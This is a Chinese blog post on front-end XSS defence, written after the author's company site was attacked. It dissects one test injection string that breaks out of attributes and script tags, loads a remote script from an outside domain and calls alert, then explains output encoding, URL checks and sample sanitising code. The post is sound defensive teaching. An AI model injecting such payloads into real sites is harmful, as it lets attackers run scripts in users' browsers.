前端安全之xss攻击

时间: 2020-02-13阅读: 233标签: 安全

前段时间公司网页被 xss 搞了一下,微信把域名封了,通宵搞了好几天。这两天把公司好几年来的代码都改了一遍,这工作丧心病狂


什么是 xss?

XSS 攻击指通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的代码


危害有什么?

  1. 跳转到广告页面,页面注入广告等等。
  2. 导致公司域名被其他平台拉黑,从而使业务受损。
  3. 用户的财产受到威胁,他注入的代码可以在网页中任意请求接口。


注入代码

http://upcdn"'></script><script src="//www.lilnong.top/xss.js"></script><script>alert(12306)</script><svg></svg>\n\t\n

上面的代码是我们测试的时候使用的,接下来我们来分析一下这个代码主要用途。

  1. http://upcdn 这个字符串是用来伪装的。

    • <img src="${str}"> 动态拼接图片地址
    • <a href="${str}"> 动态跳转页面地址
  2. "'> 这两个就是为了截断当前字符串,然后闭合标签。

    • <img src="${str}">
  3. </script> 也是为了闭合标签,这个主要用在后台模板输出的时候。后台模板 velocity、freemarker 之类的。

    • <script>var imgUrl = ${str}</script>
  4. <script src="//www.lilnong.top/xss.js"></script> 就是引入一个js,这种方式比较常见。注入之后,攻击者只需要修改自己的文件,就可以更新了。
  5. <script>alert(12306)</script> 直接执行js代码
  6. <svg></svg> 注入一个元素,用于展示一个异常块打乱布局。比如 vue 中的 v-html 不会执行 script 标签中的内容,但是会显示 svg 图片。
  7. \n\t\n 是为了测试后台模板输出的场景。


防护场景及方案

后台模板

  1. tohtml 主要用于输出在页面(标签中)中,将用户输入的内容进行编码比如 <转换为&lt;。

    • <span>${nickanme}</span>
  2. tojs 主要用于输出在script标签中,这里需要防止打断js,比如处理成"'\n为\"\'\\n
  3. toUrl 这里其实和 tohtml 场景很像,但是需要判断url基础格式。

    • https://
    • //lilnong.top
    • /static
    • ./static
    • ../static

jquery&原生js

  1. tohtml 场景。jquery中基本上都是拼接一下,然后 .html 输出一下。这里需要做的也是把用户输入的做一下实体编码转换。
  2. toUrl 场景。校验一下url,然后 tohtml 或者 encode 都可以。

vue

  1. tohtml 场景。v-html 这里需要注意一下,尽可能不要使用,因为会导致注入问题。也可以tohtml一下,但是没必要不是吗。
  2. toUrl 场景。:href 主要 JavaScript:alert(1);这种场景,做url校验就可以。
  3. tohtml 场景。使用原生的方法,vue 中非要 innerHTML的那些人。


常见问题

富文本场景

  1. 做文章那种,大量的标签,属性。这种一般需要后端处理。HTML Purifier
  2. 文字加表情,后者搜索高亮的场景。这种我们可以先执行toHtml,然后再匹配替换,最后在输出到页面即可。

换行符问题

有时我们在textarea中输入\n,渲染的时候空白符就被浏览器给吃了。针对这种情况,我们可以用下面的方案处理

  1. 通过 css 属性 white-space,或者 <pre> 标签
  2. 一般人们是正则替换.replace(/\n/g,'<br>),这种输出的时候万一里面有代码不就凉了吗。所以我们先 toHtml 然后在使用,这样可以防止注入问题。
  3. 其实 .innerText 可以自动把\n转换为<br>,你可以自己试试

代码实现

window.base = {
    toHtml: function (val) {
        if( typeof val != 'string' ) return '';
        var entityMap = {
            "&": "&amp;",
            "<": "&lt;",
            ">": "&gt;",
            '"': '&quot;',
            "'": '&#39;',
            "/": '&#x2F;'
        };
        return String(val).replace(/[&<>"'\/]/g, function (s) {
            return entityMap[s];
        });
    },
    toUrl: function (url) {
        if( typeof url != 'string' ) return '#';
        if(url.match(/^http/i)){
            return encodeURI(url)
        }
        return '#'
    },
};
站长推荐

1.云服务推荐: 国内主流云服务商,各类云产品的最新活动,优惠券领取。地址:阿里云腾讯云华为云

2.广告联盟: 整理了目前主流的广告联盟平台,如果你有流量,可以作为参考选择适合你的平台点击进入

链接: http://www.fly63.com/article/detial/8192

几种好用的经典webshell(php)

webshell就是以网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问php后门

js安全问题:不安全的JS

在某些特别的场景下,我们需要编译执行外部输入的JS代码。在浏览器端,我们可以借助new Function 、eval等API。而在 node 端,我们可以借助vm模块实现一个沙箱,运行外部输入的JS 代码。但无论是浏览器端,还是node端

浏览器显示“网站连接不安全”,是什么原因?

Chrome 浏览器显示“网站连接不安全”,这可能是您最近访问网站时经常遇到的问题,浏览器地址栏中域名前面显示圆圈i图标和“不安全”字样,点击这个字样,就会看到红字警告“你与此网站之间建立的连接不安全”,这是怎么回事?

前端安全之防范XSS

XSS大部分前端coder都不会陌生,全称:跨站脚本漏洞(Cross Site Scripting,简写作XSS)是Web应用程序在将数据输出或者展示到网页的时候存在问题,导致攻击者可以将对网站的正常功能造成影响甚至窃取或篡改用户个人信息

常见Web安全问题攻防解析

XSS (Cross Site Script),跨站脚本攻击,因缩写和 CSS (Cascading Style Sheets) 重叠,所以叫 XSS。XSS 的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行

WEB应用程序安全检查列表

检查页面隐藏或丢失的内容:检查webserver元数据文件,如:robots.txt, sitemap.xml,.DS_Store, .htaccess,检查搜索功能可能的注入或攻击方式,检查不同agent代理访问网站显示内容的是否一致

利用HTML5标签进行DDoS攻击的新方法揭秘

在此次攻击活动中,DDoS攻击请求峰值达到了7500次请求/秒,在大概4个小时内攻击者总共利用了4000多个不同的用户向攻击目标发送了超过7000万次恶意请求。Imperva的研究人员在其发布的安全分析报告中指出

第三方 CSS 并不安全

第三方内容在其沙箱区域内具有强大的能力。如果你担心恶意用户诱使你的网站加载第三方资源,可以通过 CSP 用作防护手段,其可以限制加载图片,脚本和样式的来源。

利用CSS注入(无iFrames)窃取CSRF令牌

要做到无iFrame,我将使用一种类似于之前我讨论过的方法:我将创建一个弹窗,然后在设置计时器后更改弹出窗口的位置。使用这种方法,我仍然可以加载受害者的CSS,但我不再依赖于受害者是否允许iFrame。

XSS跨站脚本攻击

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。

点击更多...

内容以共享、参考、研究为目的,不存在任何商业目的。其版权属原作者所有,如有侵权或违规,请与小编联系!情况属实本人将予以删除!

文章投稿关于web前端网站点搜索站长推荐网站地图站长QQ:522607023

小程序专栏: 土味情话心理测试脑筋急转弯幽默笑话段子句子语录成语大全运营推广